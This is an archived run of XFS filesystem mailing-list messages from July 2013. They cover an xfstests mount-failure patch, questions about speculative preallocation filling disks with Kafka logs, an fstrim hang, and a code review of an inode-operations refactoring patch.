> I noticed that this change causes dmapi tests to try to be run on systems that > > don't have dmapi supported, and they fail. Have you seen this? > > > > Thanks, > > Ben > > I haven't tested either way, but does: > > _mount -t $FSTYP `_scratch_mount_options $*` || _fail "Scratch mount failed" > > work any better? This still fails like so: xfs/142 [failed, exit status 1] - output mismatch (see /root/xfstests/results/xfs/142.out.bad) --- tests/xfs/142.out 2013-05-17 14:23:16.000000000 -0500 +++ /root/xfstests/results/xfs/142.out.bad 2013-07-26 11:31:00.128200302 -0500 @@ -1,232 +1,8 @@ QA output created by 142 -Attribute tests beginning... -Report: success with set #0. -Report: success with set #1. -Report: success with set #2. -Report: success with set #3. -Report: success with set #4. ... (Run 'diff -u tests/xfs/142.out /root/xfstests/results/xfs/142.out.bad' to see the entire diff) Thanks, Ben From sandeen@sandeen.net Fri Jul 26 11:58:24 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 53F2C29E1D for ; Fri, 26 Jul 2013 11:58:24 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3F023304064 for ; Fri, 26 Jul 2013 09:58:23 -0700 (PDT) X-ASG-Debug-ID: 1374857902-04cbb02c3ace850001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id 83Jj9HqYq1IZfZMU for ; Fri, 26 Jul 2013 09:58:22 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-249-49.hsd1.mn.comcast.net [98.240.249.49]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 9EB87617E29A; Fri, 26 Jul 2013 11:58:20 -0500 (CDT) Message-ID: <51F2AAA5.5010101@sandeen.net> Date: Fri, 26 Jul 2013 11:58:13 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: Ben Myers CC: Josef Bacik , linux-btrfs@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH] xfstests: exit out if _scratch_mount fails References: <1373396847-7975-1-git-send-email-jbacik@fusionio.com> <20130726161235.GK3111@sgi.com> <51F2A091.3010407@sandeen.net> <20130726163352.GL1681@sgi.com> X-ASG-Orig-Subj: Re: [PATCH] xfstests: exit out if _scratch_mount fails In-Reply-To: <20130726163352.GL1681@sgi.com> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1374857902 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137327 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 7/26/13 11:33 AM, Ben Myers wrote: > Josef, Eric, > > On Fri, Jul 26, 2013 at 11:15:13AM -0500, Eric Sandeen wrote: >> On 7/26/13 11:12 AM, Ben Myers wrote: >>> Hey Josef, >>> >>> On Tue, Jul 09, 2013 at 03:07:27PM -0400, Josef Bacik wrote: >>>> I test some of the different mkfs options for btrfs, one set doesn't work >>>> properly with small file systems, so the fs won't mount. This is fine from a >>>> btrfs point of view, but tests that fail to mount the scratch fs will run >>>> anyway, so if it's a "fill the fs" sort of test this will wreak havoc. To fix >>>> this just error out of _scratch_mount fails. Thanks, >>>> >>>> Signed-off-by: Josef Bacik >>> >>> I noticed that this change causes dmapi tests to try to be run on systems that >>> don't have dmapi supported, and they fail. Have you seen this? >>> >>> Thanks, >>> Ben >> >> I haven't tested either way, but does: >> >> _mount -t $FSTYP `_scratch_mount_options $*` || _fail "Scratch mount failed" >> >> work any better? > > This still fails like so: > > xfs/142 [failed, exit status 1] - output mismatch (see /root/xfstests/results/xfs/142.out.bad) > --- tests/xfs/142.out 2013-05-17 14:23:16.000000000 -0500 > +++ /root/xfstests/results/xfs/142.out.bad 2013-07-26 11:31:00.128200302 -0500 > @@ -1,232 +1,8 @@ > QA output created by 142 > -Attribute tests beginning... > -Report: success with set #0. > -Report: success with set #1. > -Report: success with set #2. > -Report: success with set #3. > -Report: success with set #4. > ... > (Run 'diff -u tests/xfs/142.out /root/xfstests/results/xfs/142.out.bad' to see the entire diff) Hm, well, _dmapi_scratch_mount tries a mount, and then does a _notrun if that fails. Josef's patch calls a _fail (or an exit) if mount fails, and it never gets to "notrun" in _dmapi_scratch_mount. So for this test it's an expected mount failure, which changes things a bit. Still, not quite sure why the test continues after either exit 1 or _fail. But my bash is rusty... -Eric > Thanks, > Ben > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From jbr@squareup.com Fri Jul 26 12:40:25 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D690A29E1D for ; Fri, 26 Jul 2013 12:40:25 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id B7C8E8F8040 for ; Fri, 26 Jul 2013 10:40:22 -0700 (PDT) X-ASG-Debug-ID: 1374860417-04cbb02c3cd1730001-NocioJ Received: from mail-ve0-f169.google.com (mail-ve0-f169.google.com [209.85.128.169]) by cuda.sgi.com with ESMTP id yHBmjKjsABva3BJA (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Fri, 26 Jul 2013 10:40:17 -0700 (PDT) X-Barracuda-Envelope-From: jbr@squareup.com X-Barracuda-Apparent-Source-IP: 209.85.128.169 Received: by mail-ve0-f169.google.com with SMTP id db10so1498801veb.28 for ; Fri, 26 Jul 2013 10:40:17 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=squareup.com; s=google; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=xn3V8v95jmRLeaKZhGX0o/8OZCTBbLx/zUB2gfs05kU=; b=XKYTGjkCXlmVquHAwJiWlsE8KFT/GImsOdPczbatwM66z0fvli8qTegcm/CNIdcJjk Y/0CPxMJHXr4L6EUZCOY4hIwCC/NyZYgR4Cu3MEIbxFRL3TinE12V+pMUofr0e51oJPa kjvHnBYKJZ3JRmPYkV078QjMplRTt/e8EO4aI= X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type:x-gm-message-state; bh=xn3V8v95jmRLeaKZhGX0o/8OZCTBbLx/zUB2gfs05kU=; b=EXWzykfwfK1ihfrCMKyXLT5OVunUsdtj06vyWLjkDfKbuPWpjcz9iTpTcrdYbtC4EX XhrO8nPDX9Zk5zDHvTAFj9SaNtH0PHZxibIBflEOzMrKzVNYa2u7R2zeSm72/lFiq8Pd drKpPph74+oEVrxh21NyrIMQ9Aw6eodPrwXMTOcXSs/F3SSym7dfJaJ0d05Hzx6oRXu2 QQfMKLDkRW0yWut8xHsBSV1yK+LpLcuK0xSpwZ/Xj8Akwwt5C9UFDxBbj4HyrP5BP6aV YauDVPRpoK6ic1ouZO2ur8fasFCnlGsseT8WFGhXp4o/8DxpJO3LX8FcsyFXCtaRrKRS oPNQ== MIME-Version: 1.0 X-Received: by 10.58.164.34 with SMTP id yn2mr20828996veb.56.1374860416925; Fri, 26 Jul 2013 10:40:16 -0700 (PDT) Received: by 10.52.184.194 with HTTP; Fri, 26 Jul 2013 10:40:16 -0700 (PDT) In-Reply-To: <20130726115021.GO13468@dastard> References: <1374823420041-35002.post@n7.nabble.com> <20130726115021.GO13468@dastard> Date: Fri, 26 Jul 2013 13:40:16 -0400 Message-ID: Subject: Re: understanding speculative preallocation From: Jason Rosenberg X-ASG-Orig-Subj: Re: understanding speculative preallocation To: Dave Chinner Cc: xfs@oss.sgi.com Content-Type: multipart/alternative; boundary=047d7b624d50c454be04e26da265 X-Gm-Message-State: ALoCoQkl5I9SpsdRRN1kojj+NTc6KAdJqdXuV4qFD2jJ1Kb2YleHUjeKVm1kByytdy6sgw+MvbSA X-Barracuda-Connect: mail-ve0-f169.google.com[209.85.128.169] X-Barracuda-Start-Time: 1374860417 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137328 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message --047d7b624d50c454be04e26da265 Content-Type: text/plain; charset=ISO-8859-1 Hi Dave, Thanks for your responses. I'm a bit confused, as I didn't see your responses on the actual forum (only in my email inbox). Anyway, I'm surprised that you don't have some list or other way to correlate version history of XFS, with os release versions. I'm guessing the version I have is not using the latest/greatest. We actually have another system that uses an older version of the kernel (2.6.32-279), and it behaves differently (it still preallocates space beyond what will ever be used, but not by quite as much). When we rolled out our newer machines to 2.6.32-358, we started seeing a marked increase in disk full problems. If, say you tell me, the mainline xfs code has improved behavior, it would be nice to have a way to know which version of CentOS might include that? Telling me to read source code across multiple kernel versions sounds like an interesting endeavor, but not something that is the most efficient use of my time, unless there truly is no one who can easily tell me anything about xfs version history. Do you have any plans to have some sort of improved documentation story around this? This speculative preallocation behavior is truly unexpected and not transparent to the user. I can see that it's probably a great performance boost (especially for something like kafka), but kafka does have predictable log file rotation capped at fixed sizes, so it would be great if that could be factored in. I suppose using the allocsize setting might work in the short term. But I probably don't want to set allocsize to 1Gb, since that would mean every single file created would start with that size, is that right? Does the allocsize setting basically work by always keeping the file size ahead of consumed space by the allocsize amount? Thanks, Jason On Fri, Jul 26, 2013 at 7:50 AM, Dave Chinner wrote: > On Fri, Jul 26, 2013 at 12:23:40AM -0700, jbr wrote: > > Hello, > > > > I'm looking for general documentation/help with the speculative > > preallocation feature in xfs. So far, I haven't really been able to find > > any definitive, up to date documentation on it. > > Read the code - it's documented in the comments. ;) > > Or ask questions here, because the code changes and the only up to > date reference is the code and/or the developers that work on it... > > > I'm wondering how I can find out definitively which version of xfs I am > > using, and what the preallocation scheme in use is. > > Look at the kernel version, then look at the corresponding source > code. > > > We are running apache kafka on our servers, and kafka uses sequential io > to > > write data log files. Kafka uses, by default, a maximum log file size of > > 1Gb. However, most of the log files end up being 2Gb, and thus the disk > > fills up twice as fast as it should. > > > > We are using xfs on CentOS 2.6.32-358. Is there a way I can know which > > version of xfs is built into this version of the kernel? > > The XFS code is part of the kernel, so look at the kernel source > code that CentOS ships. > > > We are using xfs (mounted with no allocsize specified). I've seen > varying > > info suggesting this means it either defaults to an allocsize of 64K > (which > > doesn't seem to match my observations), or that it will use dynamic > > preallocation. > > > > I've also seen hints (but no actual canonical documentation) suggesting > that > > the dynamic preallocation works by progressively doubling the current > file > > size (which does match my observations). > > Well, it started off that way, but it has been refined since to > handle many different cases where this behaviour is sub-optimal. > > > What I'm not clear on, is the scheduling for the preallocation. At what > > point does it decide to preallocate the next doubling of space. > > Depends on the type of IO being done. > > > Is it when > > the current preallocated space is used up, > > Usually. > > > or does it happen when the > > current space is used up within some threshold. > > No. > > > What I'd like to do, is > > keep the doubling behavior in tact, but have it capped so it never > increases > > the file beyond 1Gb. Is there a way to do that? > > No. > > > Can I trick the > > preallocation to not do a final doubling, if I cap my kafka log files at > > say, 900Mb (or some percentage under 1Gb)? > > No. > > > There are numerous references to an allocation schedule like this: > > > > freespace max prealloc size > > >5% full extent (8GB) > > 4-5% 2GB (8GB >> 2) > > 3-4% 1GB (8GB >> 3) > > 2-3% 512MB (8GB >> 4) > > 1-2% 256MB (8GB >> 5) > > <1% 128MB (8GB >> 6) > > > > I'm just not sure I understand what this is telling me. It seems to > tell me > > what the max prealloc size is, with being reduced if the disk is nearly > > full. > > Yes, that's correct. Mainline also does this for quota exhaustion, > too. > > > But it doesn't tell me about the progressive doubling in > > preallocation (I assume up to a max of 8Gb). Is any of this > configurable? > > No. > > > Can we specify a max prealloc size somewhere? > > Use the allocsize mount option. It turns off dynamic behaviour and > fixes the pre-allocation size. > > > The other issue seems to be that after the files are closed (from within > the > > java jvm), they still don't seem to have their pre-allocated space > > reclaimed. Are there known issues with closing the files in java not > > properly causing a flush of the preallocated space? > > Possibly. There's a heuristic that turns of truncation at close - if > your applicatin keeps doing "open-write-close" it will not truncate > preallocation. Log files typically see this IO pattern from > applications, and hence triggering that "no truncate" heuristic is > exactly what you want to have happen to avoid severe fragmentation > of the log files. > > > Any help pointing me to any documentation/user guides which accurately > > describes this would be appreciated! > > The mechanism is not documented outside the code as it changes from > kernel release to kernel release and supposed to be transparent to > userspace. It's being refined and optimisaed as issues are reported. > Indeed, I suspect that all your problems would disappear on mainline > due to the background removal of preallocation that is no longer > needed, and Centos doesn't have that... > > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com > --047d7b624d50c454be04e26da265 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable
    Hi Dave,

    Thanks for your responses. =A0= I'm a bit confused, as I didn't see your responses on the actual fo= rum (only in my email inbox).

    Anyway, I'm surp= rised that you don't have some list or other way to correlate version h= istory of XFS, with os release versions. =A0I'm guessing the version I = have is not using the latest/greatest. =A0We actually have another system t= hat uses an older version of the kernel (2.6.32-279), and it behaves differ= ently (it still preallocates space beyond what will ever be used, but not b= y quite as much). =A0When we rolled out our newer machines to=A02.6.32-358,= we started seeing a marked increase in disk full problems.

    If, say you tell me, the mainline xfs code has improved= behavior, it would be nice to have a way to know which version of CentOS m= ight include that? =A0Telling me to read source code across multiple kernel= versions sounds like an interesting endeavor, but not something that is th= e most efficient use of my time, unless there truly is no one who can easil= y tell me anything about xfs version history.

    Do you have any plans to have some sort of improved doc= umentation story around this? =A0This speculative preallocation behavior is= truly unexpected and not transparent to the user. =A0 I can see that it= 9;s probably a great performance boost (especially for something like kafka= ), but kafka does have predictable log file rotation capped at fixed sizes,= so it would be great if that could be factored in.

    I suppose using the allocsize setting might work in the= short term. =A0But I probably don't want to set allocsize to 1Gb, sinc= e that would mean every single file created would start with that size, is = that right? =A0Does the allocsize setting basically work by always keeping = the file size ahead of consumed space by the allocsize amount?

    Thanks,

    Jason


    On Fri, Jul 26, 20= 13 at 7:50 AM, Dave Chinner <david@fromorbit.com> wrote:
    On Fri, Jul 26, 2013 at 12:23:40AM -0700, jb= r wrote:
    > Hello,
    >
    > I'm looking for general documentation/help with the speculative > preallocation feature in xfs. =A0So far, I haven't really been abl= e to find
    > any definitive, up to date documentation on it.

    Read the code - it's documented in the comments. ;)

    Or ask questions here, because the code changes and the only up to
    date reference is the code and/or the developers that work on it...

    > I'm wondering how I can find out definitively which version of xfs= I am
    > using, and what the preallocation scheme in use is.

    Look at the kernel version, then look at the corresponding source
    code.

    > We are running apache kafka on our servers, and kafka uses sequential = io to
    > write data log files. =A0Kafka uses, by default, a maximum log file si= ze of
    > 1Gb. =A0However, most of the log files end up being 2Gb, and thus the = disk
    > fills up twice as fast as it should.
    >
    > We are using xfs on CentOS 2.6.32-358. =A0Is there a way I can know wh= ich
    > version of xfs is built into this version of the kernel?

    The XFS code is part of the kernel, so look at the kernel source
    code that CentOS ships.

    > We are using xfs (mounted with no allocsize specified). =A0I've se= en varying
    > info suggesting this means it either defaults to an allocsize of 64K (= which
    > doesn't seem to match my observations), or that it will use dynami= c
    > preallocation.
    >
    > I've also seen hints (but no actual canonical documentation) sugge= sting that
    > the dynamic preallocation works by progressively doubling the current = file
    > size (which does match my observations).

    Well, it started off that way, but it has been refined since to
    handle many different cases where this behaviour is sub-optimal.

    > What I'm not clear on, is the scheduling for the preallocation. At= what
    > point does it decide to preallocate the next doubling of space.

    Depends on the type of IO being done.

    > Is it when
    > the current preallocated space is used up,

    Usually.

    > or does it happen when the
    > current space is used up within some threshold.

    No.

    > What I'd like to do, is
    > keep the doubling behavior in tact, but have it capped so it never inc= reases
    > the file beyond 1Gb. =A0Is there a way to do that?

    No.

    > Can I trick the
    > preallocation to not do a final doubling, if I cap my kafka log files = at
    > say, 900Mb (or some percentage under 1Gb)?

    No.

    > There are numerous references to an allocation schedule like this:
    >
    > freespace =A0 =A0 =A0 max prealloc size
    > =A0 >5% =A0 =A0 =A0 =A0 =A0 =A0 full extent (8GB)
    > =A0 4-5% =A0 =A0 =A0 =A0 =A0 =A0 2GB (8GB >> 2)
    > =A0 3-4% =A0 =A0 =A0 =A0 =A0 =A0 1GB (8GB >> 3)
    > =A0 2-3% =A0 =A0 =A0 =A0 =A0 512MB (8GB >> 4)
    > =A0 1-2% =A0 =A0 =A0 =A0 =A0 256MB (8GB >> 5)
    > =A0 <1% =A0 =A0 =A0 =A0 =A0 =A0128MB (8GB >> 6)
    >
    > I'm just not sure I understand what this is telling me. =A0It seem= s to tell me
    > what the max prealloc size is, with being reduced if the disk is nearl= y
    > full.

    Yes, that's correct. Mainline also does this for quota exhaustion,
    too.

    > But it doesn't tell me about the progressive doubling in
    > preallocation (I assume up to a max of 8Gb). =A0Is any of this configu= rable?

    No.

    > Can we specify a max prealloc size somewhere?

    Use the allocsize mount option. It turns off dynamic behaviour and
    fixes the pre-allocation size.

    > The other issue seems to be that after the files are closed (from with= in the
    > java jvm), they still don't seem to have their pre-allocated space=
    > reclaimed. =A0Are there known issues with closing the files in java no= t
    > properly causing a flush of the preallocated space?

    Possibly. There's a heuristic that turns of truncation at close - if your applicatin keeps doing "open-write-close" it will not trunca= te
    preallocation. Log files typically see this IO pattern from
    applications, and hence triggering that "no truncate" heuristic i= s
    exactly what you want to have happen to avoid severe fragmentation
    of the log files.

    > Any help pointing me to any documentation/user guides which accurately=
    > describes this would be appreciated!

    The mechanism is not documented outside the code as it changes from
    kernel release to kernel release and supposed to be transparent to
    userspace. It's being refined and optimisaed as issues are reported. Indeed, I suspect that all your problems would disappear on mainline
    due to the background removal of preallocation that is no longer
    needed, and Centos doesn't have that...

    Cheers,

    Dave.
    --
    Dave Chinner
    david@fromorbit.com

    --047d7b624d50c454be04e26da265-- From s.priebe@profihost.ag Fri Jul 26 13:17:26 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=unavailable version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C163129E2A for ; Fri, 26 Jul 2013 13:17:26 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id AEEED30407F for ; Fri, 26 Jul 2013 11:17:23 -0700 (PDT) X-ASG-Debug-ID: 1374862640-04cb6c2e9fd61f0001-NocioJ Received: from mail-ph.de-nserver.de (mail-ph.de-nserver.de [85.158.179.214]) by cuda.sgi.com with ESMTP id Yjf8cGCYK2gy7MGK (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 26 Jul 2013 11:17:21 -0700 (PDT) X-Barracuda-Envelope-From: s.priebe@profihost.ag X-Barracuda-Apparent-Source-IP: 85.158.179.214 Received: (qmail 9957 invoked from network); 26 Jul 2013 20:17:19 +0200 X-Fcrdns: No Received: from fw-office.allied-internet.ag (HELO [10.23.66.100]) (85.158.179.66) (smtp-auth username s.priebe@profihost.ag, mechanism plain) by mail-ph.de-nserver.de (qpsmtpd/0.92) with (AES256-SHA encrypted) ESMTPSA; Fri, 26 Jul 2013 20:17:19 +0200 Message-ID: <51F2BD31.5060301@profihost.ag> Date: Fri, 26 Jul 2013 20:17:21 +0200 From: Stefan Priebe User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: "xfs@oss.sgi.com" CC: "xfs-masters@oss.sgi.com" Subject: how to use fstrim? Content-Type: text/plain; charset=ISO-8859-15; format=flowed X-ASG-Orig-Subj: how to use fstrim? Content-Transfer-Encoding: 7bit X-User-Auth: Auth by s.priebe@profihost.ag through 85.158.179.66 X-Barracuda-Connect: mail-ph.de-nserver.de[85.158.179.214] X-Barracuda-Start-Time: 1374862641 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137328 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi, what is the right way to use fstrim on top of XFS? just doing fstrim -v -m 4194304 / results sometimes (might depend on disk i/o) to hanging tasks and stack traces - fstrim needs > 5 min in these cases. Thanks! Greets, Stefan From tinguely@sgi.com Fri Jul 26 14:18:42 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4829129E21 for ; Fri, 26 Jul 2013 14:18:42 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1160C8F8039; Fri, 26 Jul 2013 12:18:42 -0700 (PDT) Message-ID: <51F2CB91.3020801@sgi.com> Date: Fri, 26 Jul 2013 14:18:41 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 24/49] xfs: kill xfs_vnodeops.[ch] References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-25-git-send-email-david@fromorbit.com> In-Reply-To: <1374215120-7271-25-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 07/19/13 01:24, Dave Chinner wrote: > From: Dave Chinner > > Now we have xfs_inode.c for holding kernel-only XFS inode > operations, move all the inode operations from xfs_vnodeops.c to > this new file as it holds another set of kernel-only inode > operations. The name of this file traces back to the days of Irix > and it's vnodes which we don't have anymore. > > Essentially this move consolidates the inode locking functions > and a bunch of XFS inode operations into the one file. Eventually > the high level functions will be merged into the VFS interface > functions in xfs_iops.c. > > This leaves only internal preallocation, EOF block manipulation and > hole punching functions in vnodeops.c. Move these to xfs_bmap_util.c > where we are already consolidating various in-kernel physical extent > manipulation and querying functions. > > Signed-off-by: Dave Chinner > --- As already mentioned, xfs_inode_fork.c still has a unwanted include of now removed xfs_vnodeops.h. A xfs_qm_dqrele(pdqp) does not exist in the copied code: > +int > +xfs_create( > + xfs_inode_t *dp, > + struct xfs_name *name, > + umode_t mode, > + xfs_dev_t rdev, > + xfs_inode_t **ipp) > +{ ... > + /* > + * Attach the dquot(s) to the inodes and modify them incore. > + * These ids of the inode couldn't have changed since the new > + * inode has been locked ever since it was created. > + */ > + xfs_qm_vop_create_dqattach(tp, ip, udqp, gdqp, pdqp); > + > + error = xfs_bmap_finish(&tp,&free_list,&committed); > + if (error) > + goto out_bmap_cancel; > + > + error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); > + if (error) > + goto out_release_inode; > + > + xfs_qm_dqrele(udqp); > + xfs_qm_dqrele(gdqp); ^^^ does not exist here, > + > + *ipp = ip; > + return 0; > + > + out_bmap_cancel: > + xfs_bmap_cancel(&free_list); > + out_trans_abort: > + cancel_flags |= XFS_TRANS_ABORT; > + out_trans_cancel: > + xfs_trans_cancel(tp, cancel_flags); > + out_release_inode: > + /* > + * Wait until after the current transaction is aborted to > + * release the inode. This prevents recursive transactions > + * and deadlocks from xfs_inactive. > + */ > + if (ip) > + IRELE(ip); > + > + xfs_qm_dqrele(udqp); > + xfs_qm_dqrele(gdqp); > + xfs_qm_dqrele(pdqp); > + > + if (unlock_dp_on_error) > + xfs_iunlock(dp, XFS_ILOCK_EXCL); > + return error; > +} > + > > - > -int > -xfs_create( > - xfs_inode_t *dp, > - struct xfs_name *name, > - umode_t mode, > - xfs_dev_t rdev, > - xfs_inode_t **ipp) > -{ ... > - > - /* > - * Attach the dquot(s) to the inodes and modify them incore. > - * These ids of the inode couldn't have changed since the new > - * inode has been locked ever since it was created. > - */ > - xfs_qm_vop_create_dqattach(tp, ip, udqp, gdqp, pdqp); > - > - error = xfs_bmap_finish(&tp,&free_list,&committed); > - if (error) > - goto out_bmap_cancel; > - > - error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); > - if (error) > - goto out_release_inode; > - > - xfs_qm_dqrele(udqp); > - xfs_qm_dqrele(gdqp); > - xfs_qm_dqrele(pdqp); exists here > - > - *ipp = ip; > - return 0; > - > - out_bmap_cancel: > - xfs_bmap_cancel(&free_list); > - out_trans_abort: > - cancel_flags |= XFS_TRANS_ABORT; > - out_trans_cancel: > - xfs_trans_cancel(tp, cancel_flags); > - out_release_inode: > - /* > - * Wait until after the current transaction is aborted to > - * release the inode. This prevents recursive transactions > - * and deadlocks from xfs_inactive. > - */ > - if (ip) > - IRELE(ip); > - > - xfs_qm_dqrele(udqp); > - xfs_qm_dqrele(gdqp); > - xfs_qm_dqrele(pdqp); > - > - if (unlock_dp_on_error) > - xfs_iunlock(dp, XFS_ILOCK_EXCL); > - return error; > -} The format for xfs_rename() in xfs_inode.h is funky. Hopefully I caught everything. --Mark. From stan@hardwarefreak.com Fri Jul 26 14:27:09 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6D47B29E21 for ; Fri, 26 Jul 2013 14:27:09 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 406F230407E for ; Fri, 26 Jul 2013 12:27:05 -0700 (PDT) X-ASG-Debug-ID: 1374866824-04bdf02f22e6230001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id ryQCuZypq2wyChk8 for ; Fri, 26 Jul 2013 12:27:04 -0700 (PDT) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id 380E46C194; Fri, 26 Jul 2013 14:27:04 -0500 (CDT) Message-ID: <51F2CD8B.8080207@hardwarefreak.com> Date: Fri, 26 Jul 2013 14:27:07 -0500 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: Jason Rosenberg CC: Dave Chinner , xfs@oss.sgi.com Subject: Re: understanding speculative preallocation References: <1374823420041-35002.post@n7.nabble.com> <20130726115021.GO13468@dastard> X-ASG-Orig-Subj: Re: understanding speculative preallocation In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1374866824 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi 